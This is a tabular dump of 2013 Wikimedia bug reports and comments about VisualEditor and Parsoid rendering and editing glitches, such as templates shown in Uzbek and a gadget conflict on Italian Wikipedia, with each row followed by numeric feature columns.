*** This bug has been marked as a duplicate of bug 43015 ***",,,1371855005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ahnfikr3ud3nwuglytr,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 43015 ***"
51960,VisualEditor: not functioning on it.wiki,"Screenshot

See associated screenshot; that's the VE, in edit mode, on it.wiki. You can apparently still type into the window, but aren't given the toolbar or, for that matter, the ability to save. Erica is currently testing it.wiki's default gadgets one by one to see if any of those are causing the problem.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11224}",Needs Triage,90.0,1371825480,1371828173.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wzimuyoyzpmwzhvmicic,task_description,invalid,True,c1,2,False,False,True,-2,,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,10.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.75531914893617,0.6595744680851063,"Screenshot

See associated screenshot; that's the VE, in edit mode, on it.wiki. You can apparently still type into the window, but aren't given the toolbar or, for that matter, the ability to save. Erica is currently testing it.wiki's default gadgets one by one to see if any of those are causing the problem.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11224}"
236220,VisualEditor: not functioning on it.wiki,"Cool; marking as resolved. I'd suggest speaking to the QE author quickfast, then :D.",,,1371828173,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-wzimuyoyzpmwzhvmicic,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.736842105263158,1.0,"Cool; marking as resolved. I'd suggest speaking to the QE author quickfast, then :D."
236215,VisualEditor: not functioning on it.wiki,"Confirming it's QE's fault, http://it.wikipedia.org/w/index.php?title=Wikipedia%3AVisualEditor%2FCommenti&diff=59583884&oldid=59583801",,,1371827387,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wzimuyoyzpmwzhvmicic,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.375,0.875,"Confirming it's QE's fault, URL"
236212,VisualEditor: not functioning on it.wiki,"I need to point out that I'm testing gadgets I added, I'm pretty sure defaults are ok :) http://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox&diff=59583614&oldid=59581474 tells me QuickEdit might cause the trouble here, since I managed to edit with VE without it.",,,1371825766,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wzimuyoyzpmwzhvmicic,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,5.0,17.0,0.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,17.0,17.0,7.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.658536585365854,0.8292682926829268,"I need to point out that I'm testing gadgets I added, I'm pretty sure defaults are ok :) URL tells me QuickEdit might cause the trouble here, since I managed to edit with VE without it."
51950,Required 'Edit Source' at Sections,"At present, VisualEditor is invoked when clicking on the Edit link of sections. Please provide 'Edit Source' link in addition to that for each section.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371805320,1371827708.0,PHID-USER-4jecvpv4h62htut6pxez,False,,False,PHID-TASK-btez3p46ypsfjdbg3yny,task_description,resolved,True,c1,2,False,False,True,-2,,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.145833333333333,0.7291666666666666,"At present, VisualEditor is invoked when clicking on the Edit link of sections. Please provide 'Edit Source' link in addition to that for each section.

--------------------------
**Version**: unspecified
**Severity**: normal"
235627,Required 'Edit Source' at Sections,"This is a duplicate of bug 49666 which we hope to do very soon.

*** This bug has been marked as a duplicate of bug 49666 ***",,,1371827708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-btez3p46ypsfjdbg3yny,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0303030303030303,0.6363636363636364,"This is a duplicate of bug 49666 which we hope to do very soon.

*** This bug has been marked as a duplicate of bug 49666 ***"
51939,VisualEditor translates templates into Uzbek language,"When I edit https://en.wikipedia.org/wiki/Golden_tortoise_beetle in VE, the template names at the top and bottom are suddenly in Uzbek (""Turkum:Biologik turlar"" and ""Andoza:Chrysomelidae-stub"") and parts of the contents of the rendered infobox are in Uzbek as well (""Kingdom:"" becomes ""Olam:"" etc.).

More evidence of VE's growing self-awareness? Caffeine-induced hallucination on the reporter's part? Inquiring minds want to know.

Chrome/Ubuntu and FF/Ubuntu.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371798000,1371829646.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-gd5v26ccraeduoxxlbju,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,5.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.5,0.5,2.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,5.5,9.0,1.5,4.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,1.0,0.0,1.5,3.6510812390414964,0.6582407948568089,"When I edit URL in VE, the template names at the top and bottom are suddenly in Uzbek (""Turkum:Biologik turlar"" and ""Andoza:Chrysomelidae-stub"") and parts of the contents of the rendered infobox are in Uzbek as well (""Kingdom:"" becomes ""Olam:"" etc.).

More evidence of VE's growing self-awareness? Caffeine-induced hallucination on the reporter's part? Inquiring minds want to know.

Chrome/Ubuntu and FF/Ubuntu.

--------------------------
**Version**: unspecified
**Severity**: normal"
235015,VisualEditor translates templates into Uzbek language,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934049,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gd5v26ccraeduoxxlbju,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
235007,VisualEditor translates templates into Uzbek language,"Caffeine-induced hallucination on the reporter's part would have been a better explanation.  Yes, 49411 again.

*** This bug has been marked as a duplicate of bug 49411 ***",,,1371829646,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-gd5v26ccraeduoxxlbju,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.65,0.75,"Caffeine-induced hallucination on the reporter's part would have been a better explanation.  Yes, 49411 again.

*** This bug has been marked as a duplicate of bug 49411 ***"
235001,VisualEditor translates templates into Uzbek language,Looks like a Parsoid caching issue: bug 49411 again?,,,1371812835,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-gd5v26ccraeduoxxlbju,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Looks like a Parsoid caching issue: bug 49411 again?
51919,"VisualEditor: Internal wiki link using ""pipe trick"" [[/Foo/]] to link to sub page broken","Screenshot of problem. Compares VE view and MWParser view.

Wikitext [[/Foo/]] should be interpreted as a link to ./Foo with label ""Foo"". This is likely a bug in Parsoid but I'm filing it in VisualEditor for now (feel free to make dependant on a Parsoid bug, or if it requires no action from our end, re-purpose and move there).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11096}",Needs Triage,90.0,1371771480,1371771658.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-pfavb4dwppjl5cul5xfr,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.5,0.0,4.0,0.5,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.0,1.5,0.0,1.5,8.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.5,3.0,0.0,0.5,0.0,0.0,0.0,10.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,10.0,1.0,3.0,3.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,8.0,4.0,0.0,1.0,0.0,3.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,2.0,3.4845791001451376,0.7612481857764877,"Screenshot of problem. Compares VE view and MWParser view.

Wikitext [[/Foo/]] should be interpreted as a link to ./Foo with label ""Foo"". This is likely a bug in Parsoid but I'm filing it in VisualEditor for now (feel free to make dependant on a Parsoid bug, or if it requires no action from our end, re-purpose and move there).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11096}"
233418,"VisualEditor: Internal wiki link using ""pipe trick"" [[/Foo/]] to link to sub page broken","

*** This bug has been marked as a duplicate of bug 48081 ***",,,1371771658,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pfavb4dwppjl5cul5xfr,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48081 ***"
51891,Parsoid: full sized images are displayed regardless of a |pictured parameter,"In particular it appears that the |pictured parameter in a file link is not being recognised. Take a look at https://en.wikipedia.org/wiki/User:PamD in the VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371748800,1371769152.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,14.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.136363636363637,0.7045454545454546,"In particular it appears that the |pictured parameter in a file link is not being recognised. Take a look at URL in the VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal"
231505,Parsoid: full sized images are displayed regardless of a |pictured parameter,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372933999,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
231499,Parsoid: full sized images are displayed regardless of a |pictured parameter,"This is a dupe of bug 48387 which is fixed and deployed as of a few minutes ago but Parsoid's cache needs to be purged for this to show up.

*** This bug has been marked as a duplicate of bug 48387 ***",,,1371769152,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,6.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,3.2,0.68,"This is a dupe of bug 48387 which is fixed and deployed as of a few minutes ago but Parsoid's cache needs to be purged for this to show up.

*** This bug has been marked as a duplicate of bug 48387 ***"
231493,Parsoid: full sized images are displayed regardless of a |pictured parameter,"Aha,",,,1371751846,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,"Aha,"
231488,Parsoid: full sized images are displayed regardless of a |pictured parameter,"No, it's the : in front of the Image:name, that isn't being recognized.",,,1371751628,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dgmfpphgdhqlrv3bwalq,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.95,0.85,"No, it's the : in front of the Image:name, that isn't being recognized."
51877,VisualEditor: Pawn ♙ appears when bolding multiple list items at same time,"If one creates two list items and then tries to bold them at the same time, the items are removed and replaced with a pawn symbol. This is reproducible on the version currently deployed on the English Wikipedia.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371738780,1371774369.0,PHID-USER-n6a5asuonlcdc2xmndl2,False,,False,PHID-TASK-gt3d3w3roul5snkreii4,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,10.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.169491525423729,0.7288135593220338,"If one creates two list items and then tries to bold them at the same time, the items are removed and replaced with a pawn symbol. This is reproducible on the version currently deployed on the English Wikipedia.

--------------------------
**Version**: unspecified
**Severity**: normal"
230629,VisualEditor: Pawn ♙ appears when bolding multiple list items at same time,"Dupe of bug 49732 which is fixed in master and wmf8; will get that pushed to production wmf7 tonight.

*** This bug has been marked as a duplicate of bug 49732 ***",,,1371774369,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gt3d3w3roul5snkreii4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.41025641025641,0.7692307692307693,"Dupe of bug 49732 which is fixed in master and wmf8; will get that pushed to production wmf7 tonight.

*** This bug has been marked as a duplicate of bug 49732 ***"
51824,Existing image inclusions are duplicated and truncated by VisualEditor,"In the following edits, images that were already in the article were duplicated on save, and the duplicate was truncated:

https://fr.wikipedia.org/w/index.php?diff=94163829
https://www.mediawiki.org/w/index.php?diff=713109

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371654120,1371721408.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-cttjkncimnkmzpg2rgta,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,11.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.066666666666666,0.6222222222222222,"In the following edits, images that were already in the article were duplicated on save, and the duplicate was truncated:

URL
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
252856,Existing image inclusions are duplicated and truncated by VisualEditor,"This is 49729.

*** This bug has been marked as a duplicate of bug 49729 ***",,,1371721408,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cttjkncimnkmzpg2rgta,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,0.6363636363636364,"This is 49729.

*** This bug has been marked as a duplicate of bug 49729 ***"
252852,Existing image inclusions are duplicated and truncated by VisualEditor,"(sorry, just saw the first edit.)",,,1371659331,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cttjkncimnkmzpg2rgta,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,"(sorry, just saw the first edit.)"
